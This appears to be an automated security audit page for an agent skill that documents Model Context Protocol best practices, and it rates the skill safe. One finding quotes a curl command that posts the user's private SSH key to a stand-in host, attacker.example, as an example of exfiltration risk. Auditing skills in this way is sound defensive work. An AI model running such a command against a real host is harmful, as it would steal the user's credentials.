mcp-best-practices

Pass

Audited by Gen Agent Trust Hub on Nov 14, 2026

Risk Level: SAFE
Full Analysis
  • [SAFE]: The skill consists entirely of technical documentation and reference guides for the Model Context Protocol (MCP). It does not contain any executable scripts, binaries, or automated instructions for the agent to perform actions on the host system.\n- [DATA_EXFILTRATION]: A command (curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil) identified in references/security-auth.md was evaluated and found to be a documentation artifact. It is used as an educational example to explain the risks of local MCP server compromise and utilizes the RFC 2606 reserved domain attacker.example to ensure it cannot be misused.\n- [SAFE]: The documentation provides high-quality security guidance for developers, including patterns for implementing OAuth 2.1 with PKCE, input sanitization at tool boundaries, and mitigations for known vulnerabilities in the MCP ecosystem.
Audit Metadata
Risk Level
SAFE
Analyzed
Nov 14, 2026, 11:48 PM